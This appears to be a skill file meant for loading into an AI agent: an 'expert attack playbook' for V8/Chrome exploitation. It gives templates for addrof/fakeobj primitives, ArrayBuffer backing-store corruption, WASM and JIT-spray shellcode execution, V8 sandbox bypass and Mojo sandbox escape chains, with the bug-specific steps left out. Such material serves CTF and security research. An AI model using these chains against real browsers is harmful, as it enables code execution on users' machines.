Browser Exploitation V8

SKILL: Browser / V8 Exploitation — Expert Attack Playbook

AI LOAD INSTRUCTION: Expert V8/Chrome exploitation techniques. Covers V8 compilation pipeline, JIT type confusion, addrof/fakeobj primitives, ArrayBuffer corruption, WASM RWX pages, V8 sandbox (pointer compression), and Chrome sandbox escape overview. Distilled from ctf-wiki browser sections, Project Zero research, and CTF competition patterns. Base models often confuse V8 object representation details and miss the pointer compression barrier.

0. RELATED ROUTING

• sandbox-escape-techniques — Chrome renderer sandbox escape via IPC/Mojo
• heap-exploitation — general heap concepts applicable to V8 heap
• stack-overflow-and-rop — ROP concepts for native code execution after V8 escape
• binary-protection-bypass — ASLR/NX bypass in browser context

Advanced Reference

Load V8_EXPLOITATION_PATTERNS.md when you need:

• Detailed exploitation patterns and code templates
• Heap layout manipulation and GC interaction
• V8 sandbox bypass techniques
• Object map confusion patterns

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1. V8 ARCHITECTURE

Compilation Pipeline

JavaScript Source
    ↓ Parser
  AST (Abstract Syntax Tree)
    ↓ Ignition
  Bytecode (interpreted, profiling)
    ↓ Sparkplug (non-optimizing baseline, V8 ≥ 9.1)
  Baseline code (fast startup)
    ↓ Maglev (mid-tier, V8 ≥ 10.2)
  Mid-optimized code
    ↓ TurboFan (optimizing JIT)
  Optimized machine code (with speculative optimizations)
    ↓ Deoptimization (if speculation fails)
  Back to Ignition bytecode

Key V8 Concepts

Object Representation (64-bit, pointer compression)

HeapObject in V8 heap (compressed):
  +0x00: Map pointer (compressed, 32-bit offset)
  +0x04: Properties/Hash
  +0x08: Elements pointer (compressed)
  +0x0C: Length (for arrays)
  +0x10: Inline properties or backing store data

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2. COMMON V8 BUG CLASSES

Triggering JIT Optimization

function vuln(arr) {
    // ... vulnerable code path ...
}
// Force optimization by calling many times
for (let i = 0; i < 100000; i++) {
    vuln(arr);
}
// Or use V8 intrinsics (d8 only):
%OptimizeFunctionOnNextCall(vuln);
vuln(arr);

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3. EXPLOITATION PRIMITIVES

addrof — Leak Object Address

// Goal: get the raw heap address of a JavaScript object
// Method: type confusion between object array and float array
// If we can confuse PACKED_ELEMENTS array with PACKED_DOUBLE_ELEMENTS:
// - Write object reference to element of object array
// - Read same element as double from confused float array
// - Float bits = compressed pointer of the object

function addrof(obj) {
    // Setup depends on specific bug
    // Typically: trigger type confusion so array reads obj ref as float
    object_array[0] = obj;
    return ftoi(confused_float_array[0]);  // float-to-int conversion
}

fakeobj — Create Fake Object Reference

// Goal: create a JS reference to an arbitrary heap address
// Method: reverse of addrof — write float (raw pointer bits) to float array,
//         read from confused object array → treated as object reference

function fakeobj(addr) {
    confused_float_array[0] = itof(addr);  // int-to-float conversion
    return object_array[0];                 // now a "pointer" to addr
}

Building Arbitrary R/W from addrof + fakeobj

// 1. Create a Float64Array with known layout
let rw_array = new Float64Array(0x100);
let rw_array_addr = addrof(rw_array);

// 2. Fake a Float64Array object at controlled address with modified backing_store
// 3. Corrupt backing_store pointer to target address
// 4. Read/write through the fake Float64Array → arbitrary R/W

function read64(addr) {
    // Set fake array's backing_store = addr
    write_to_fake_backingstore(addr);
    return fake_float64array[0];
}

function write64(addr, value) {
    write_to_fake_backingstore(addr);
    fake_float64array[0] = value;
}

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4. OOB READ/WRITE VIA CONFUSED ARRAY BOUNDS

When TurboFan incorrectly eliminates bounds checks:

function trigger(arr, idx) {
    // TurboFan thinks idx is always < arr.length
    // But due to bug, idx can exceed bounds
    return arr[idx];  // OOB read
}

// OOB read adjacent memory (next heap object's metadata)
// OOB write to corrupt next object's map/elements/length

What's Adjacent in V8 Heap?

Objects are allocated sequentially in V8's young generation (new space). By controlling allocation order:

let arr1 = new Array(0x10);    // spray object
let arr2 = new Float64Array(0x10);  // target: adjacent to arr1
// OOB from arr1 can reach arr2's metadata
// Corrupt arr2's length → unconstrained OOB on arr2

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5. ARRAYBUFFER ARBITRARY R/W

ArrayBuffer's backing store is a raw pointer to allocated memory. Corrupting it gives absolute memory R/W.

let ab = new ArrayBuffer(0x100);
let view = new DataView(ab);
// If we can overwrite ab's backing_store pointer:
// ab.backing_store = target_addr
// view.getFloat64(0) → reads 8 bytes from target_addr
// view.setFloat64(0, val) → writes to target_addr

V8 Sandbox (Pointer Compression) Impact

Since V8 ≥ 8.0 (pointer compression) and V8 sandbox (≥ 11.x):

• ArrayBuffer.backing_store is a sandbox pointer (within the V8 cage, 4GB region)
• Cannot directly point outside the V8 cage
• Need sandbox escape to get full process memory access

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6. WASM RWX PAGE

WebAssembly JIT code is placed on RWX (Read-Write-Execute) pages on some platforms.

// Allocate WASM module → JIT compiles to RWX page
let wasm_code = new Uint8Array([0x00, 0x61, 0x73, 0x6d, ...]);
let mod = new WebAssembly.Module(wasm_code);
let instance = new WebAssembly.Instance(mod);
// instance.exports.func → points to RWX page

// If we can find and write to this page:
// 1. addrof(instance) → find WASM instance object
// 2. Follow pointers: instance → jump_table_start → RWX page
// 3. Use arbitrary write to overwrite RWX page with shellcode
// 4. Call instance.exports.func() → executes shellcode

Modern Chrome: W^X enforcement means WASM pages are either RW or RX, not RWX simultaneously. JIT code is written in RW mode, then switched to RX. Exploitation requires finding a write window or using JIT spray.

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7. V8 SANDBOX

Architecture (V8 ≥ 11.x)

Process Virtual Address Space:
┌──────────────────────────────────────┐
│  V8 Sandbox Cage (4GB region)        │
│  ├── V8 Heap (JS objects)            │
│  ├── ArrayBuffer backing stores      │
│  ├── WASM memory                     │
│  └── External pointer table          │
├──────────────────────────────────────┤
│  Process memory outside cage         │
│  ├── libc, Chrome code               │
│  ├── Stack                           │
│  └── Other allocations               │
└──────────────────────────────────────┘

Sandbox Escape Vectors

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8. CHROME SANDBOX ESCAPE (OVERVIEW)

After renderer RCE (via V8 exploit), the process is still sandboxed. Full compromise requires:

Mojo interfaces (Chrome's IPC) expose attack surface: find UAF or type confusion in Mojo message handlers.

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9. TOOLS

# V8 debugging
d8 --allow-natives-syntax exploit.js  # Enable V8 intrinsics (%DebugPrint, etc.)
d8 --trace-turbo exploit.js           # Dump TurboFan IR
d8 --print-opt-code exploit.js        # Print optimized machine code

# Turbolizer: visual TurboFan IR graph
# Chrome DevTools Memory panel: heap snapshots

# Build V8 for debugging
git clone https://chromium.googlesource.com/v8/v8.git
gclient sync
gn gen out/debug --args='is_debug=true v8_enable_sandbox=false'
ninja -C out/debug d8

---

10. DECISION TREE

V8 vulnerability identified
├── Bug type?
│   ├── JIT type confusion → trigger optimization, confuse array element kinds
│   ├── Bounds check elimination → OOB read/write on array
│   ├── Typer bug → incorrect range leads to OOB
│   └── Builtin bug → direct memory corruption primitive
│
├── Build primitives
│   ├── Can confuse object array ↔ float array?
│   │   └── addrof + fakeobj → arbitrary R/W within V8 heap
│   ├── OOB on array?
│   │   └── Corrupt adjacent object (length/backing_store) → expand to full R/W
│   └── Direct write primitive?
│       └── Target WASM instance or ArrayBuffer metadata
│
├── V8 sandbox enabled?
│   ├── YES (modern Chrome) →
│   │   ├── R/W limited to V8 cage (4GB)
│   │   ├── Need sandbox escape: external pointer table corruption,
│   │   │   WASM code pointer overwrite, or Mojo bug
│   │   └── Then proceed to shellcode execution
│   └── NO (older V8, CTF, d8) →
│       ├── Corrupt ArrayBuffer backing_store → absolute R/W
│       └── Overwrite WASM RWX page → shellcode
│
├── Code execution method
│   ├── WASM RWX page available? → write shellcode, call WASM func
│   ├── JIT code writable? → overwrite JIT code
│   └── ROP needed? → corrupt stack or return address
│
└── Full browser exploit chain
    ├── Stage 1: V8 bug → renderer RCE
    ├── Stage 2: Mojo IPC bug → browser process compromise
    └── Stage 3: OS-level escalation (if needed)

V8 Exploitation Patterns — Heap Layout, GC Interaction, Sandbox Bypass

AI LOAD INSTRUCTION: Load this for detailed V8 exploitation code patterns, heap layout manipulation, GC interaction tricks, object map confusion, and V8 sandbox bypass techniques. Assumes SKILL.md is loaded for V8 architecture and primitive construction overview.

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1. HELPER UTILITIES

Standard utility functions used in almost every V8 exploit:

let buf = new ArrayBuffer(8);
let f64 = new Float64Array(buf);
let u32 = new Uint32Array(buf);
let u64 = new BigUint64Array(buf);

function ftoi(f) { f64[0] = f; return u64[0]; }
function itof(i) { u64[0] = i; return f64[0]; }
function lo(i) { u64[0] = i; return u32[0]; }
function hi(i) { u64[0] = i; return u32[1]; }

function hex(i) { return '0x' + i.toString(16); }

V8 Intrinsics (d8 --allow-natives-syntax)

%DebugPrint(obj);                    // Print internal object representation
%OptimizeFunctionOnNextCall(func);   // Force TurboFan optimization
%PrepareFunctionForOptimization(func); // Mark for optimization
%SystemBreak();                      // Trigger INT3 for GDB
%CollectGarbage('major');            // Force GC

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2. HEAP LAYOUT MANIPULATION

Allocation Order in Young Generation

V8's young generation allocates objects sequentially (bump pointer). Control allocation order to ensure adjacency:

// Allocate in order → objects are adjacent in memory
let oob_arr = [1.1, 2.2, 3.3];         // Float64 array (target for OOB)
let victim  = [{}];                      // Object array (corrupt this)
let rw_buf  = new ArrayBuffer(0x100);   // ArrayBuffer (steal backing_store)

// oob_arr elements → victim header → rw_buf header are adjacent
// OOB write from oob_arr can corrupt victim's map → type confusion
// OOB write to rw_buf can corrupt backing_store → arbitrary R/W

Heap Spray for Predictable Layout

let spray = [];
for (let i = 0; i < 1000; i++) {
    spray.push(new ArrayBuffer(0x100));
}
// Many ArrayBuffers at sequential addresses
// Known relative offsets between them

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3. ELEMENTS KINDS CONFUSION

V8 arrays have internal "elements kind" tracked in their Map:

Type Confusion: Double ↔ Object

// If bug causes array with PACKED_ELEMENTS (object refs) to be
// treated as PACKED_DOUBLE_ELEMENTS (raw floats):
// - Reading object element as float → leaks raw pointer (addrof)
// - Writing float to object element → creates fake pointer (fakeobj)

// Transition chain (normally one-way):
// SMI → DOUBLE → ELEMENTS (never goes backward)
// Bug: forces wrong elements kind on optimized code path

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4. MAP CONFUSION EXPLOITATION

Corrupting Object Map

// Object's first field is its Map pointer (compressed, 32-bit)
// Corrupting the map changes how V8 interprets the entire object

// Example: change a regular array's map to a different array type
// Before: Map says PACKED_SMI_ELEMENTS, length = 4
// After:  Map says PACKED_DOUBLE_ELEMENTS, length = 0x1000 (if map has different length offset)
// Result: Unconstrained OOB read/write through the "array"

Fake Map Construction

// To create a believable fake object, need a valid Map at the start
// Approach 1: Find existing Map address via addrof, reuse it
let target_map_addr = addrof(target_array) - 0x10n;  // approximate
// Read map from memory via OOB, copy it to controlled location

// Approach 2: Spray arrays of same type to have many identical Maps
let maps_spray = [];
for (let i = 0; i < 100; i++) {
    maps_spray.push([1.1]);  // all share same Map in V8's map space
}

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5. GC INTERACTION AND SURVIVAL

GC-Safe Exploitation

V8's GC moves objects (compacting GC). Exploits must account for:

Promoting to Old Space

// Allocate object, trigger minor GC to promote to old space (stable address)
let obj = {a: 1, b: 2};
// Fill young generation to trigger scavenge
for (let i = 0; i < 100000; i++) new Array(100);
// obj is now in old space with stable address

ArrayBuffer is GC-Friendly

ArrayBuffer's backing store is external memory (not managed by V8 GC). Corrupting its pointer won't be affected by GC moves.

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6. COMMON EXPLOITATION CHAINS

Chain 1: Typer Bug → OOB → addrof/fakeobj → R/W → WASM Shellcode

// Step 1: Trigger typer bug for OOB array access
function trigger() {
    let arr = new Array(1);
    arr[0] = 1.1;
    // ... bug-specific code that makes TurboFan believe index is in bounds ...
    let oob_val = arr[oob_index];  // OOB read
    arr[oob_index] = corrupt_val;  // OOB write
}

// Step 2: Use OOB to corrupt adjacent array → addrof/fakeobj primitives
// Step 3: Build arbitrary R/W (corrupt ArrayBuffer backing_store)
// Step 4: Find WASM instance, overwrite JIT code page with shellcode
// Step 5: Call WASM function → shellcode executes

Chain 2: Type Confusion → Overlapping Arrays → Length Corruption

// Step 1: Confuse element kind (double↔object) on array
// Step 2: Through confusion, read adjacent array's length field
// Step 3: Write a huge value as the length → array now has OOB access
// Step 4: Use giant array for full heap R/W
// Step 5: Shellcode via WASM or stack ROP

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7. V8 SANDBOX BYPASS TECHNIQUES

External Pointer Table (EPT)

V8 sandbox stores external (out-of-cage) pointers in an External Pointer Table. Each entry:

EPT[index] = (raw_pointer ^ tag) | type_bits

Corruption approach: 1. Find EPT entry for a known external object (e.g., ArrayBuffer backing store of external memory) 2. Overwrite the entry to point to target address 3. Access through the original JS object → reads/writes outside cage

Corrupting WASM Jump Table

// WASM instance has jump_table_start pointing to RWX code
// Even with sandbox, WASM code pointers may be indirect
// Find WASM instance in cage → follow pointer chain to code
// Overwrite code entry in jump table with shellcode address

Sandbox Hole via Type Confusion

Some V8 object types store both sandboxed and unsandboxed pointers. A type confusion that changes how a field is interpreted (sandboxed offset vs raw pointer) can escape the cage.

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8. JIT SPRAY TECHNIQUE

Plant controlled immediate values in JIT-compiled code:

// Float constants embed as 64-bit immediates in machine code
function spray() {
    let x = 1.4501798452584495e-277;  // 0x90909090_90909090 (NOP sled)
    // ... repeat with shellcode-encoding floats ...
}
// JIT compiles spray() → movabs rax, 0x9090909090909090 in code page
// Jump into the middle of the immediate → executes as NOP sled

Modern mitigations: Constant blinding (XOR constants with random key), removing RWX pages, and V8 sandbox reduce JIT spray effectiveness.

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9. BROWSER-SPECIFIC CONSIDERATIONS

Chrome Process Model

Browser Process (privileged)
  ├── Renderer Process 1 (sandboxed) ← V8 exploit here
  ├── Renderer Process 2 (sandboxed)
  ├── GPU Process
  ├── Network Process
  └── Utility Processes

Renderer → Browser Escape via Mojo

Renderer compromise → find vulnerable Mojo interface →
  craft malicious IPC message → trigger bug in browser process →
  code execution in browser (unsandboxed)

Key Mojo targets: BlobRegistry, FileSystemManager, NetworkService, and other privileged interfaces.

Memory Layout in Chrome

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10. DEBUGGING AND ANALYSIS

# Build d8 for debugging
gn gen out/debug --args='is_debug=true v8_enable_sandbox=false target_cpu="x64"'
ninja -C out/debug d8

# Run with debugging features
./out/debug/d8 --allow-natives-syntax --trace-turbo --print-opt-code exploit.js

# GDB with V8
gdb ./out/debug/d8
b v8::internal::Runtime_DebugPrint  # break on %DebugPrint
r --allow-natives-syntax exploit.js

# Turbolizer (web UI for TurboFan IR)
# Open chrome://tracing, load turbo-*.json from --trace-turbo

# Useful GDB commands for V8
job <addr>          # V8 GDB helper: print V8 object at address
jst                 # Print V8 JavaScript stack trace